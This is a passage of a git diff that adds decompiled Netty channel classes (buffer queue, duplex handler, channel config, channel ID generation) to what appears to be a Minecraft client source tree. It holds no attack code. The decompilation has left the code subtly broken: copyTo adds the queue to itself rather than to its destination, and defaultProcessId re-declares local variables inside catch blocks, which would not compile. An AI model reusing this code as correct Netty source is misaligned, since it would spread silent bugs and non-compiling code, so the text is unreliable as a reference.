+  }
+  
+  public CoalescingBufferQueue(Channel channel, int initSize) {
+    this.channel = ((Channel)ObjectUtil.checkNotNull(channel, "channel"));
+    bufAndListenerPairs = new ArrayDeque(initSize);
+  }
+  
+
+
+  public void add(ByteBuf buf)
+  {
+    add(buf, (ChannelFutureListener)null);
+  }
+  
+
+
+
+
+
+
+
+  public void add(ByteBuf buf, ChannelPromise promise)
+  {
+    ObjectUtil.checkNotNull(promise, "promise");
+    add(buf, promise.isVoid() ? null : new ChannelPromiseNotifier(new ChannelPromise[] { promise }));
+  }
+  
+
+
+
+
+
+
+
+  public void add(ByteBuf buf, ChannelFutureListener listener)
+  {
+    ObjectUtil.checkNotNull(buf, "buf");
+    if (readableBytes > Integer.MAX_VALUE - buf.readableBytes()) {
+      throw new IllegalStateException("buffer queue length overflow: " + readableBytes + " + " + buf.readableBytes());
+    }
+    
+    bufAndListenerPairs.add(buf);
+    if (listener != null) {
+      bufAndListenerPairs.add(listener);
+    }
+    readableBytes += buf.readableBytes();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ByteBuf remove(int bytes, ChannelPromise aggregatePromise)
+  {
+    if (bytes < 0) {
+      throw new IllegalArgumentException("bytes (expected >= 0): " + bytes);
+    }
+    ObjectUtil.checkNotNull(aggregatePromise, "aggregatePromise");
+    
+
+    if (bufAndListenerPairs.isEmpty()) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    bytes = Math.min(bytes, readableBytes);
+    
+    ByteBuf toReturn = null;
+    int originalBytes = bytes;
+    for (;;) {
+      Object entry = bufAndListenerPairs.poll();
+      if (entry == null) {
+        break;
+      }
+      if ((entry instanceof ChannelFutureListener)) {
+        aggregatePromise.addListener((ChannelFutureListener)entry);
+      }
+      else {
+        ByteBuf entryBuffer = (ByteBuf)entry;
+        if (entryBuffer.readableBytes() > bytes)
+        {
+          bufAndListenerPairs.addFirst(entryBuffer);
+          if (bytes <= 0)
+            break;
+          toReturn = compose(toReturn, entryBuffer.readRetainedSlice(bytes));
+          bytes = 0; break;
+        }
+        
+
+        toReturn = compose(toReturn, entryBuffer);
+        bytes -= entryBuffer.readableBytes();
+      }
+    }
+    readableBytes -= originalBytes - bytes;
+    assert (readableBytes >= 0);
+    return toReturn;
+  }
+  
+
+
+  private ByteBuf compose(ByteBuf current, ByteBuf next)
+  {
+    if (current == null) {
+      return next;
+    }
+    if ((current instanceof CompositeByteBuf)) {
+      CompositeByteBuf composite = (CompositeByteBuf)current;
+      composite.addComponent(true, next);
+      return composite;
+    }
+    
+
+    CompositeByteBuf composite = channel.alloc().compositeBuffer(bufAndListenerPairs.size() + 2);
+    composite.addComponent(true, current);
+    composite.addComponent(true, next);
+    return composite;
+  }
+  
+
+
+  public int readableBytes()
+  {
+    return readableBytes;
+  }
+  
+
+
+  public boolean isEmpty()
+  {
+    return bufAndListenerPairs.isEmpty();
+  }
+  
+
+
+  public void releaseAndFailAll(Throwable cause)
+  {
+    releaseAndCompleteAll(channel.newFailedFuture(cause));
+  }
+  
+  private void releaseAndCompleteAll(ChannelFuture future) {
+    readableBytes = 0;
+    Throwable pending = null;
+    for (;;) {
+      Object entry = bufAndListenerPairs.poll();
+      if (entry == null) {
+        break;
+      }
+      try {
+        if ((entry instanceof ByteBuf)) {
+          ReferenceCountUtil.safeRelease(entry);
+        } else {
+          ((ChannelFutureListener)entry).operationComplete(future);
+        }
+      } catch (Throwable t) {
+        pending = t;
+      }
+    }
+    if (pending != null) {
+      throw new IllegalStateException(pending);
+    }
+  }
+  
+
+
+
+  public void copyTo(CoalescingBufferQueue dest)
+  {
+    bufAndListenerPairs.addAll(bufAndListenerPairs);
+    readableBytes += readableBytes;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/CombinedChannelDuplexHandler.java b/src/minecraft/io/netty/channel/CombinedChannelDuplexHandler.java
new file mode 100644
index 0000000..5e32439
--- /dev/null
+++ b/src/minecraft/io/netty/channel/CombinedChannelDuplexHandler.java
@@ -0,0 +1,204 @@
+package io.netty.channel;
+
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CombinedChannelDuplexHandler<I extends ChannelInboundHandler, O extends ChannelOutboundHandler>
+  extends ChannelDuplexHandler
+{
+  private I inboundHandler;
+  private O outboundHandler;
+  
+  protected CombinedChannelDuplexHandler() {}
+  
+  public CombinedChannelDuplexHandler(I inboundHandler, O outboundHandler)
+  {
+    init(inboundHandler, outboundHandler);
+  }
+  
+
+
+
+
+
+
+
+  protected final void init(I inboundHandler, O outboundHandler)
+  {
+    validate(inboundHandler, outboundHandler);
+    this.inboundHandler = inboundHandler;
+    this.outboundHandler = outboundHandler;
+  }
+  
+  private void validate(I inboundHandler, O outboundHandler) {
+    if (this.inboundHandler != null) {
+      throw new IllegalStateException("init() can not be invoked if " + CombinedChannelDuplexHandler.class.getSimpleName() + " was constructed with non-default constructor.");
+    }
+    
+
+
+    if (inboundHandler == null) {
+      throw new NullPointerException("inboundHandler");
+    }
+    if (outboundHandler == null) {
+      throw new NullPointerException("outboundHandler");
+    }
+    if ((inboundHandler instanceof ChannelOutboundHandler)) {
+      throw new IllegalArgumentException("inboundHandler must not implement " + ChannelOutboundHandler.class.getSimpleName() + " to get combined.");
+    }
+    
+
+    if ((outboundHandler instanceof ChannelInboundHandler)) {
+      throw new IllegalArgumentException("outboundHandler must not implement " + ChannelInboundHandler.class.getSimpleName() + " to get combined.");
+    }
+  }
+  
+
+  protected final I inboundHandler()
+  {
+    return inboundHandler;
+  }
+  
+  protected final O outboundHandler() {
+    return outboundHandler;
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    if (inboundHandler == null) {
+      throw new IllegalStateException("init() must be invoked before being added to a " + ChannelPipeline.class.getSimpleName() + " if " + CombinedChannelDuplexHandler.class.getSimpleName() + " was constructed with the default constructor.");
+    }
+    
+
+    try
+    {
+      inboundHandler.handlerAdded(ctx);
+    } finally {
+      outboundHandler.handlerAdded(ctx);
+    }
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    try {
+      inboundHandler.handlerRemoved(ctx);
+    } finally {
+      outboundHandler.handlerRemoved(ctx);
+    }
+  }
+  
+  public void channelRegistered(ChannelHandlerContext ctx) throws Exception
+  {
+    inboundHandler.channelRegistered(ctx);
+  }
+  
+  public void channelUnregistered(ChannelHandlerContext ctx) throws Exception
+  {
+    inboundHandler.channelUnregistered(ctx);
+  }
+  
+  public void channelActive(ChannelHandlerContext ctx) throws Exception
+  {
+    inboundHandler.channelActive(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    inboundHandler.channelInactive(ctx);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    inboundHandler.exceptionCaught(ctx, cause);
+  }
+  
+  public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception
+  {
+    inboundHandler.userEventTriggered(ctx, evt);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    inboundHandler.channelRead(ctx, msg);
+  }
+  
+  public void channelReadComplete(ChannelHandlerContext ctx) throws Exception
+  {
+    inboundHandler.channelReadComplete(ctx);
+  }
+  
+
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    outboundHandler.bind(ctx, localAddress, promise);
+  }
+  
+
+
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    outboundHandler.connect(ctx, remoteAddress, localAddress, promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    outboundHandler.disconnect(ctx, promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    outboundHandler.close(ctx, promise);
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    outboundHandler.deregister(ctx, promise);
+  }
+  
+  public void read(ChannelHandlerContext ctx) throws Exception
+  {
+    outboundHandler.read(ctx);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    outboundHandler.write(ctx, msg, promise);
+  }
+  
+  public void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    outboundHandler.flush(ctx);
+  }
+  
+  public void channelWritabilityChanged(ChannelHandlerContext ctx) throws Exception
+  {
+    inboundHandler.channelWritabilityChanged(ctx);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/CompleteChannelFuture.java b/src/minecraft/io/netty/channel/CompleteChannelFuture.java
new file mode 100644
index 0000000..458f661
--- /dev/null
+++ b/src/minecraft/io/netty/channel/CompleteChannelFuture.java
@@ -0,0 +1,107 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.CompleteFuture;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class CompleteChannelFuture
+  extends CompleteFuture<Void>
+  implements ChannelFuture
+{
+  private final Channel channel;
+  
+  protected CompleteChannelFuture(Channel channel, EventExecutor executor)
+  {
+    super(executor);
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    this.channel = channel;
+  }
+  
+  protected EventExecutor executor()
+  {
+    EventExecutor e = super.executor();
+    if (e == null) {
+      return channel().eventLoop();
+    }
+    return e;
+  }
+  
+
+  public ChannelFuture addListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.addListener(listener);
+    return this;
+  }
+  
+  public ChannelFuture addListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.addListeners(listeners);
+    return this;
+  }
+  
+  public ChannelFuture removeListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    super.removeListener(listener);
+    return this;
+  }
+  
+  public ChannelFuture removeListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    super.removeListeners(listeners);
+    return this;
+  }
+  
+  public ChannelFuture syncUninterruptibly()
+  {
+    return this;
+  }
+  
+  public ChannelFuture sync() throws InterruptedException
+  {
+    return this;
+  }
+  
+  public ChannelFuture await() throws InterruptedException
+  {
+    return this;
+  }
+  
+  public ChannelFuture awaitUninterruptibly()
+  {
+    return this;
+  }
+  
+  public Channel channel()
+  {
+    return channel;
+  }
+  
+  public Void getNow()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ConnectTimeoutException.java b/src/minecraft/io/netty/channel/ConnectTimeoutException.java
new file mode 100644
index 0000000..2965568
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ConnectTimeoutException.java
@@ -0,0 +1,32 @@
+package io.netty.channel;
+
+import java.net.ConnectException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConnectTimeoutException
+  extends ConnectException
+{
+  private static final long serialVersionUID = 2317065249988317463L;
+  
+  public ConnectTimeoutException(String msg)
+  {
+    super(msg);
+  }
+  
+  public ConnectTimeoutException() {}
+}
diff --git a/src/minecraft/io/netty/channel/DefaultAddressedEnvelope.java b/src/minecraft/io/netty/channel/DefaultAddressedEnvelope.java
new file mode 100644
index 0000000..4d1df04
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultAddressedEnvelope.java
@@ -0,0 +1,113 @@
+package io.netty.channel;
+
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.ReferenceCounted;
+import io.netty.util.internal.StringUtil;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultAddressedEnvelope<M, A extends SocketAddress>
+  implements AddressedEnvelope<M, A>
+{
+  private final M message;
+  private final A sender;
+  private final A recipient;
+  
+  public DefaultAddressedEnvelope(M message, A recipient, A sender)
+  {
+    if (message == null) {
+      throw new NullPointerException("message");
+    }
+    
+    this.message = message;
+    this.sender = sender;
+    this.recipient = recipient;
+  }
+  
+
+
+
+  public DefaultAddressedEnvelope(M message, A recipient)
+  {
+    this(message, recipient, null);
+  }
+  
+  public M content()
+  {
+    return message;
+  }
+  
+  public A sender()
+  {
+    return sender;
+  }
+  
+  public A recipient()
+  {
+    return recipient;
+  }
+  
+  public int refCnt()
+  {
+    if ((message instanceof ReferenceCounted)) {
+      return ((ReferenceCounted)message).refCnt();
+    }
+    return 1;
+  }
+  
+
+  public AddressedEnvelope<M, A> retain()
+  {
+    ReferenceCountUtil.retain(message);
+    return this;
+  }
+  
+  public AddressedEnvelope<M, A> retain(int increment)
+  {
+    ReferenceCountUtil.retain(message, increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return ReferenceCountUtil.release(message);
+  }
+  
+  public boolean release(int decrement)
+  {
+    return ReferenceCountUtil.release(message, decrement);
+  }
+  
+  public String toString()
+  {
+    if (sender != null) {
+      return StringUtil.simpleClassName(this) + '(' + sender + " => " + recipient + ", " + message + ')';
+    }
+    
+    return StringUtil.simpleClassName(this) + "(=> " + recipient + ", " + message + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultChannelConfig.java b/src/minecraft/io/netty/channel/DefaultChannelConfig.java
new file mode 100644
index 0000000..6cfd59f
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultChannelConfig.java
@@ -0,0 +1,347 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.nio.AbstractNioByteChannel;
+import java.util.IdentityHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultChannelConfig
+  implements ChannelConfig
+{
+  private static final RecvByteBufAllocator DEFAULT_RCVBUF_ALLOCATOR = AdaptiveRecvByteBufAllocator.DEFAULT;
+  private static final MessageSizeEstimator DEFAULT_MSG_SIZE_ESTIMATOR = DefaultMessageSizeEstimator.DEFAULT;
+  
+  private static final int DEFAULT_CONNECT_TIMEOUT = 30000;
+  
+  protected final Channel channel;
+  
+  private volatile ByteBufAllocator allocator = ByteBufAllocator.DEFAULT;
+  private volatile RecvByteBufAllocator rcvBufAllocator = DEFAULT_RCVBUF_ALLOCATOR;
+  private volatile MessageSizeEstimator msgSizeEstimator = DEFAULT_MSG_SIZE_ESTIMATOR;
+  
+  private volatile int connectTimeoutMillis = 30000;
+  private volatile int maxMessagesPerRead;
+  private volatile int writeSpinCount = 16;
+  private volatile boolean autoRead = true;
+  private volatile boolean autoClose = true;
+  private volatile int writeBufferHighWaterMark = 65536;
+  private volatile int writeBufferLowWaterMark = 32768;
+  
+  public DefaultChannelConfig(Channel channel) {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    this.channel = channel;
+    
+    if (((channel instanceof ServerChannel)) || ((channel instanceof AbstractNioByteChannel)))
+    {
+
+
+
+      maxMessagesPerRead = 16;
+    } else {
+      maxMessagesPerRead = 1;
+    }
+  }
+  
+
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(null, new ChannelOption[] { ChannelOption.CONNECT_TIMEOUT_MILLIS, ChannelOption.MAX_MESSAGES_PER_READ, ChannelOption.WRITE_SPIN_COUNT, ChannelOption.ALLOCATOR, ChannelOption.AUTO_READ, ChannelOption.AUTO_CLOSE, ChannelOption.RCVBUF_ALLOCATOR, ChannelOption.WRITE_BUFFER_HIGH_WATER_MARK, ChannelOption.WRITE_BUFFER_LOW_WATER_MARK, ChannelOption.MESSAGE_SIZE_ESTIMATOR });
+  }
+  
+
+
+
+
+  protected Map<ChannelOption<?>, Object> getOptions(Map<ChannelOption<?>, Object> result, ChannelOption<?>... options)
+  {
+    if (result == null) {
+      result = new IdentityHashMap();
+    }
+    for (ChannelOption<?> o : options) {
+      result.put(o, getOption(o));
+    }
+    return result;
+  }
+  
+
+  public boolean setOptions(Map<ChannelOption<?>, ?> options)
+  {
+    if (options == null) {
+      throw new NullPointerException("options");
+    }
+    
+    boolean setAllOptions = true;
+    for (Map.Entry<ChannelOption<?>, ?> e : options.entrySet()) {
+      if (!setOption((ChannelOption)e.getKey(), e.getValue())) {
+        setAllOptions = false;
+      }
+    }
+    
+    return setAllOptions;
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == null) {
+      throw new NullPointerException("option");
+    }
+    
+    if (option == ChannelOption.CONNECT_TIMEOUT_MILLIS) {
+      return Integer.valueOf(getConnectTimeoutMillis());
+    }
+    if (option == ChannelOption.MAX_MESSAGES_PER_READ) {
+      return Integer.valueOf(getMaxMessagesPerRead());
+    }
+    if (option == ChannelOption.WRITE_SPIN_COUNT) {
+      return Integer.valueOf(getWriteSpinCount());
+    }
+    if (option == ChannelOption.ALLOCATOR) {
+      return getAllocator();
+    }
+    if (option == ChannelOption.RCVBUF_ALLOCATOR) {
+      return getRecvByteBufAllocator();
+    }
+    if (option == ChannelOption.AUTO_READ) {
+      return Boolean.valueOf(isAutoRead());
+    }
+    if (option == ChannelOption.AUTO_CLOSE) {
+      return Boolean.valueOf(isAutoClose());
+    }
+    if (option == ChannelOption.WRITE_BUFFER_HIGH_WATER_MARK) {
+      return Integer.valueOf(getWriteBufferHighWaterMark());
+    }
+    if (option == ChannelOption.WRITE_BUFFER_LOW_WATER_MARK) {
+      return Integer.valueOf(getWriteBufferLowWaterMark());
+    }
+    if (option == ChannelOption.MESSAGE_SIZE_ESTIMATOR) {
+      return getMessageSizeEstimator();
+    }
+    return null;
+  }
+  
+
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.CONNECT_TIMEOUT_MILLIS) {
+      setConnectTimeoutMillis(((Integer)value).intValue());
+    } else if (option == ChannelOption.MAX_MESSAGES_PER_READ) {
+      setMaxMessagesPerRead(((Integer)value).intValue());
+    } else if (option == ChannelOption.WRITE_SPIN_COUNT) {
+      setWriteSpinCount(((Integer)value).intValue());
+    } else if (option == ChannelOption.ALLOCATOR) {
+      setAllocator((ByteBufAllocator)value);
+    } else if (option == ChannelOption.RCVBUF_ALLOCATOR) {
+      setRecvByteBufAllocator((RecvByteBufAllocator)value);
+    } else if (option == ChannelOption.AUTO_READ) {
+      setAutoRead(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.AUTO_CLOSE) {
+      setAutoClose(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.WRITE_BUFFER_HIGH_WATER_MARK) {
+      setWriteBufferHighWaterMark(((Integer)value).intValue());
+    } else if (option == ChannelOption.WRITE_BUFFER_LOW_WATER_MARK) {
+      setWriteBufferLowWaterMark(((Integer)value).intValue());
+    } else if (option == ChannelOption.MESSAGE_SIZE_ESTIMATOR) {
+      setMessageSizeEstimator((MessageSizeEstimator)value);
+    } else {
+      return false;
+    }
+    
+    return true;
+  }
+  
+  protected <T> void validate(ChannelOption<T> option, T value) {
+    if (option == null) {
+      throw new NullPointerException("option");
+    }
+    option.validate(value);
+  }
+  
+  public int getConnectTimeoutMillis()
+  {
+    return connectTimeoutMillis;
+  }
+  
+  public ChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    if (connectTimeoutMillis < 0) {
+      throw new IllegalArgumentException(String.format("connectTimeoutMillis: %d (expected: >= 0)", new Object[] { Integer.valueOf(connectTimeoutMillis) }));
+    }
+    
+    this.connectTimeoutMillis = connectTimeoutMillis;
+    return this;
+  }
+  
+  public int getMaxMessagesPerRead()
+  {
+    return maxMessagesPerRead;
+  }
+  
+  public ChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    if (maxMessagesPerRead <= 0) {
+      throw new IllegalArgumentException("maxMessagesPerRead: " + maxMessagesPerRead + " (expected: > 0)");
+    }
+    this.maxMessagesPerRead = maxMessagesPerRead;
+    return this;
+  }
+  
+  public int getWriteSpinCount()
+  {
+    return writeSpinCount;
+  }
+  
+  public ChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    if (writeSpinCount <= 0) {
+      throw new IllegalArgumentException("writeSpinCount must be a positive integer.");
+    }
+    
+    this.writeSpinCount = writeSpinCount;
+    return this;
+  }
+  
+  public ByteBufAllocator getAllocator()
+  {
+    return allocator;
+  }
+  
+  public ChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    if (allocator == null) {
+      throw new NullPointerException("allocator");
+    }
+    this.allocator = allocator;
+    return this;
+  }
+  
+  public RecvByteBufAllocator getRecvByteBufAllocator()
+  {
+    return rcvBufAllocator;
+  }
+  
+  public ChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    if (allocator == null) {
+      throw new NullPointerException("allocator");
+    }
+    rcvBufAllocator = allocator;
+    return this;
+  }
+  
+  public boolean isAutoRead()
+  {
+    return autoRead;
+  }
+  
+  public ChannelConfig setAutoRead(boolean autoRead)
+  {
+    boolean oldAutoRead = this.autoRead;
+    this.autoRead = autoRead;
+    if ((autoRead) && (!oldAutoRead)) {
+      channel.read();
+    } else if ((!autoRead) && (oldAutoRead)) {
+      autoReadCleared();
+    }
+    return this;
+  }
+  
+
+
+  protected void autoReadCleared() {}
+  
+
+
+  public boolean isAutoClose()
+  {
+    return autoClose;
+  }
+  
+  public ChannelConfig setAutoClose(boolean autoClose)
+  {
+    this.autoClose = autoClose;
+    return this;
+  }
+  
+  public int getWriteBufferHighWaterMark()
+  {
+    return writeBufferHighWaterMark;
+  }
+  
+  public ChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    if (writeBufferHighWaterMark < getWriteBufferLowWaterMark()) {
+      throw new IllegalArgumentException("writeBufferHighWaterMark cannot be less than writeBufferLowWaterMark (" + getWriteBufferLowWaterMark() + "): " + writeBufferHighWaterMark);
+    }
+    
+
+
+    if (writeBufferHighWaterMark < 0) {
+      throw new IllegalArgumentException("writeBufferHighWaterMark must be >= 0");
+    }
+    
+    this.writeBufferHighWaterMark = writeBufferHighWaterMark;
+    return this;
+  }
+  
+  public int getWriteBufferLowWaterMark()
+  {
+    return writeBufferLowWaterMark;
+  }
+  
+  public ChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    if (writeBufferLowWaterMark > getWriteBufferHighWaterMark()) {
+      throw new IllegalArgumentException("writeBufferLowWaterMark cannot be greater than writeBufferHighWaterMark (" + getWriteBufferHighWaterMark() + "): " + writeBufferLowWaterMark);
+    }
+    
+
+
+    if (writeBufferLowWaterMark < 0) {
+      throw new IllegalArgumentException("writeBufferLowWaterMark must be >= 0");
+    }
+    
+    this.writeBufferLowWaterMark = writeBufferLowWaterMark;
+    return this;
+  }
+  
+  public MessageSizeEstimator getMessageSizeEstimator()
+  {
+    return msgSizeEstimator;
+  }
+  
+  public ChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    if (estimator == null) {
+      throw new NullPointerException("estimator");
+    }
+    msgSizeEstimator = estimator;
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultChannelHandlerContext.java b/src/minecraft/io/netty/channel/DefaultChannelHandlerContext.java
new file mode 100644
index 0000000..2430812
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultChannelHandlerContext.java
@@ -0,0 +1,45 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.EventExecutorGroup;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultChannelHandlerContext
+  extends AbstractChannelHandlerContext
+{
+  private final ChannelHandler handler;
+  
+  DefaultChannelHandlerContext(DefaultChannelPipeline pipeline, EventExecutorGroup group, String name, ChannelHandler handler)
+  {
+    super(pipeline, group, name, isInbound(handler), isOutbound(handler));
+    if (handler == null) {
+      throw new NullPointerException("handler");
+    }
+    this.handler = handler;
+  }
+  
+  public ChannelHandler handler()
+  {
+    return handler;
+  }
+  
+  private static boolean isInbound(ChannelHandler handler) {
+    return handler instanceof ChannelInboundHandler;
+  }
+  
+  private static boolean isOutbound(ChannelHandler handler) {
+    return handler instanceof ChannelOutboundHandler;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/DefaultChannelId.java b/src/minecraft/io/netty/channel/DefaultChannelId.java
new file mode 100644
index 0000000..ff6a734
--- /dev/null
+++ b/src/minecraft/io/netty/channel/DefaultChannelId.java
@@ -0,0 +1,330 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufUtil;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.MacAddressUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.ThreadLocalRandom;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultChannelId
+  implements ChannelId
+{
+  private static final long serialVersionUID = 3884076183504074063L;
+  private static final InternalLogger logger;
+  private static final Pattern MACHINE_ID_PATTERN;
+  private static final int MACHINE_ID_LEN = 8;
+  private static final byte[] MACHINE_ID;
+  private static final int PROCESS_ID_LEN = 4;
+  private static final int MAX_PROCESS_ID = 4194304;
+  private static final int PROCESS_ID;
+  private static final int SEQUENCE_LEN = 4;
+  private static final int TIMESTAMP_LEN = 8;
+  private static final int RANDOM_LEN = 4;
+  private static final AtomicInteger nextSequence;
+  
+  public static DefaultChannelId newInstance()
+  {
+    DefaultChannelId id = new DefaultChannelId();
+    id.init();
+    return id;
+  }
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(DefaultChannelId.class);
+    
+    MACHINE_ID_PATTERN = Pattern.compile("^(?:[0-9a-fA-F][:-]?){6,8}$");
+    
+
+
+
+
+
+
+
+
+
+
+    nextSequence = new AtomicInteger();
+    
+
+
+
+
+
+
+
+
+
+
+    int processId = -1;
+    String customProcessId = SystemPropertyUtil.get("io.netty.processId");
+    if (customProcessId != null) {
+      try {
+        processId = Integer.parseInt(customProcessId);
+      }
+      catch (NumberFormatException localNumberFormatException) {}
+      
+
+      if ((processId < 0) || (processId > 4194304)) {
+        processId = -1;
+        logger.warn("-Dio.netty.processId: {} (malformed)", customProcessId);
+      } else if (logger.isDebugEnabled()) {
+        logger.debug("-Dio.netty.processId: {} (user-set)", Integer.valueOf(processId));
+      }
+    }
+    
+    if (processId < 0) {
+      processId = defaultProcessId();
+      if (logger.isDebugEnabled()) {
+        logger.debug("-Dio.netty.processId: {} (auto-detected)", Integer.valueOf(processId));
+      }
+    }
+    
+    PROCESS_ID = processId;
+    
+    byte[] machineId = null;
+    String customMachineId = SystemPropertyUtil.get("io.netty.machineId");
+    if (customMachineId != null) {
+      if (MACHINE_ID_PATTERN.matcher(customMachineId).matches()) {
+        machineId = parseMachineId(customMachineId);
+        logger.debug("-Dio.netty.machineId: {} (user-set)", customMachineId);
+      } else {
+        logger.warn("-Dio.netty.machineId: {} (malformed)", customMachineId);
+      }
+    }
+    
+    if (machineId == null) {
+      machineId = defaultMachineId();
+      if (logger.isDebugEnabled()) {
+        logger.debug("-Dio.netty.machineId: {} (auto-detected)", MacAddressUtil.formatAddress(machineId));
+      }
+    }
+    
+    MACHINE_ID = machineId;
+  }
+  
+
+  private static byte[] parseMachineId(String value)
+  {
+    value = value.replaceAll("[:-]", "");
+    
+    byte[] machineId = new byte[8];
+    for (int i = 0; i < value.length(); i += 2) {
+      machineId[i] = ((byte)Integer.parseInt(value.substring(i, i + 2), 16));
+    }
+    
+    return machineId;
+  }
+  
+  private static byte[] defaultMachineId() {
+    byte[] bestMacAddr = MacAddressUtil.bestAvailableMac();
+    if (bestMacAddr == null) {
+      bestMacAddr = new byte[8];
+      ThreadLocalRandom.current().nextBytes(bestMacAddr);
+      logger.warn("Failed to find a usable hardware address from the network interfaces; using random bytes: {}", MacAddressUtil.formatAddress(bestMacAddr));
+    }
+    
+
+    return bestMacAddr;
+  }
+  
+  private static int defaultProcessId() {
+    ClassLoader loader = PlatformDependent.getClassLoader(DefaultChannelId.class);
+    String value;
+    try
+    {
+      Class<?> mgmtFactoryType = Class.forName("java.lang.management.ManagementFactory", true, loader);
+      Class<?> runtimeMxBeanType = Class.forName("java.lang.management.RuntimeMXBean", true, loader);
+      
+      Method getRuntimeMXBean = mgmtFactoryType.getMethod("getRuntimeMXBean", EmptyArrays.EMPTY_CLASSES);
+      Object bean = getRuntimeMXBean.invoke(null, EmptyArrays.EMPTY_OBJECTS);
+      Method getName = runtimeMxBeanType.getMethod("getName", EmptyArrays.EMPTY_CLASSES);
+      value = (String)getName.invoke(bean, EmptyArrays.EMPTY_OBJECTS);
+    } catch (Exception e) { String value;
+      logger.debug("Could not invoke ManagementFactory.getRuntimeMXBean().getName(); Android?", e);
+      try
+      {
+        Class<?> processType = Class.forName("android.os.Process", true, loader);
+        Method myPid = processType.getMethod("myPid", EmptyArrays.EMPTY_CLASSES);
+        value = myPid.invoke(null, EmptyArrays.EMPTY_OBJECTS).toString();
+      } catch (Exception e2) { String value;
+        logger.debug("Could not invoke Process.myPid(); not Android?", e2);
+        value = "";
+      }
+    }
+    
+    int atIndex = value.indexOf('@');
+    if (atIndex >= 0) {
+      value = value.substring(0, atIndex);
+    }
+    int pid;
+    try
+    {
+      pid = Integer.parseInt(value);
+    } catch (NumberFormatException e) {
+      int pid;
+      pid = -1;
+    }
+    
+    if ((pid < 0) || (pid > 4194304)) {
